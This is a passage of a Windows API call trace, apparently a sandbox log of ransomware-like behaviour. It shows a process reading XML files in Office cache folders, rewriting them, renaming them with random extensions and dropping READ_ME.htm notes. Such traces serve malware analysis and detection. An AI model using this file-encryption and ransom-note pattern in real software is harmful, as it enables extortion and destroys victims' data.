ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc3553370, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0134.241] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0134.241] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0134.241] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.241] SetErrorMode (uMode=0x0) returned 0x1 [0134.242] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es", lpFilePart=0x0) returned 0x47 [0134.242] SetErrorMode (uMode=0x1) returned 0x0 [0134.242] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.242] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.242] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e4a700, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x18e4a700, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcbb9bb00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd43dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0134.242] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3553370, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc3553370, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0134.243] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0134.243] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0134.243] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.243] SetErrorMode (uMode=0x0) returned 0x1 [0134.243] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.243] SetErrorMode (uMode=0x1) returned 0x0 [0134.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.244] GetFileType (hFile=0x1d0) returned 0x1 [0134.244] SetErrorMode (uMode=0x0) returned 0x1 [0134.244] GetFileType (hFile=0x1d0) returned 0x1 [0134.244] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x681 [0134.244] ReadFile (in: hFile=0x1d0, lpBuffer=0x28a86a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28a86a8*, lpNumberOfBytesRead=0x21d418*=0x681, lpOverlapped=0x0) returned 1 [0134.260] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.260] SetErrorMode (uMode=0x1) returned 0x0 [0134.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.261] GetFileType (hFile=0x1d0) returned 0x1 [0134.261] SetErrorMode (uMode=0x0) returned 0x1 [0134.261] GetFileType (hFile=0x1d0) returned 0x1 [0134.261] WriteFile (in: hFile=0x1d0, lpBuffer=0x298b920*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x21d3b8, lpOverlapped=0x0 | out: lpBuffer=0x298b920*, lpNumberOfBytesWritten=0x21d3b8*=0x690, lpOverlapped=0x0) returned 1 [0134.263] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.263] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml.u7jbaj", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml.u7jbaj", lpFilePart=0x0) returned 0x58 [0134.263] SetErrorMode (uMode=0x1) returned 0x0 [0134.263] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0x4c9e3980, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x690)) returned 1 [0134.263] SetErrorMode (uMode=0x0) returned 0x1 [0134.264] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml.u7jbaj" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml.u7jbaj")) returned 1 [0134.264] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0134.264] SetErrorMode (uMode=0x1) returned 0x0 [0134.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.265] GetFileType (hFile=0x1d0) returned 0x1 [0134.265] SetErrorMode (uMode=0x0) returned 0x1 [0134.265] GetFileType (hFile=0x1d0) returned 0x1 [0134.265] WriteFile (in: hFile=0x1d0, lpBuffer=0x29907c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29907c0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0134.266] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr", lpFilePart=0x0) returned 0x47 [0134.266] SetErrorMode (uMode=0x1) returned 0x0 [0134.266] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2727d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2727d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcafb4d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd36695, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0134.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe24ec60, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbe24ec60, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0134.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0134.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0134.268] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.268] SetErrorMode (uMode=0x0) returned 0x1 [0134.268] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr", lpFilePart=0x0) returned 0x47 [0134.268] SetErrorMode (uMode=0x1) returned 0x0 [0134.269] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2727d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2727d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcafb4d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd36695, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0134.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe24ec60, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbe24ec60, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0134.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0134.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0134.269] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.269] SetErrorMode (uMode=0x0) returned 0x1 [0134.270] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.270] SetErrorMode (uMode=0x1) returned 0x0 [0134.270] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.270] GetFileType (hFile=0x1d0) returned 0x1 [0134.270] SetErrorMode (uMode=0x0) returned 0x1 [0134.270] GetFileType (hFile=0x1d0) returned 0x1 [0134.270] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x681 [0134.271] ReadFile (in: hFile=0x1d0, lpBuffer=0x29943f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29943f0*, lpNumberOfBytesRead=0x21d418*=0x681, lpOverlapped=0x0) returned 1 [0134.328] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.328] SetErrorMode (uMode=0x1) returned 0x0 [0134.328] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.329] GetFileType (hFile=0x1d0) returned 0x1 [0134.329] SetErrorMode (uMode=0x0) returned 0x1 [0134.329] GetFileType (hFile=0x1d0) returned 0x1 [0134.330] WriteFile (in: hFile=0x1d0, lpBuffer=0x28773c8*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x21d3b8, lpOverlapped=0x0 | out: lpBuffer=0x28773c8*, lpNumberOfBytesWritten=0x21d3b8*=0x690, lpOverlapped=0x0) returned 1 [0134.331] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.331] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.rnlrql", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.rnlrql", lpFilePart=0x0) returned 0x58 [0134.331] SetErrorMode (uMode=0x1) returned 0x0 [0134.331] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0x4ca7bf00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x690)) returned 1 [0134.331] SetErrorMode (uMode=0x0) returned 0x1 [0134.332] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.rnlrql" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml.rnlrql")) returned 1 [0134.332] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0134.333] SetErrorMode (uMode=0x1) returned 0x0 [0134.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.333] GetFileType (hFile=0x1d0) returned 0x1 [0134.333] SetErrorMode (uMode=0x0) returned 0x1 [0134.333] GetFileType (hFile=0x1d0) returned 0x1 [0134.333] WriteFile (in: hFile=0x1d0, lpBuffer=0x287c268*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x287c268*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0134.335] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0134.335] SetErrorMode (uMode=0x1) returned 0x0 [0134.335] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.336] 